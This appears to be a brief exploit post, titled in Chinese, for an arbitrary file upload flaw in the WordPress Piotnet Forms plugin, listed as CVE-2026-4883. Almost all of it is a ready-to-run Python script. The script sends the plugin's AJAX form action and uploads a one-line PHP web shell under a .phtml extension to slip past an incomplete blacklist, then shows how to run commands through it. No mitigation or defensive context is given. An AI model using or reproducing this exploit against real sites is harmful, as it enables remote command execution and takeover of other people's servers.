CVE-2026-4883 WordPress Piotnet Forms 任意文件上传漏洞

import requests # Target configuration target_url = "http://target-site.com/wp-admin/admin-ajax.php" # The vulnerable action usually processed by the plugin data = { "action": "piotnetforms_ajax_form_builder", # Other required form fields might be needed based on the specific form setup } # Prepare the malicious file payload # Using .phtml extension to bypass the incomplete blacklist files = { 'file': ('shell.phtml', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } try: response = requests.post(target_url, data=data, files=files) if response.status_code == 200: print("[+] File uploaded successfully!") print("[+] Check the upload directory or response for the file path.") # Example usage: http://target-site.com/wp-content/uploads/2026/05/shell.phtml?cmd=ls else: print("[-] Upload failed. Status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")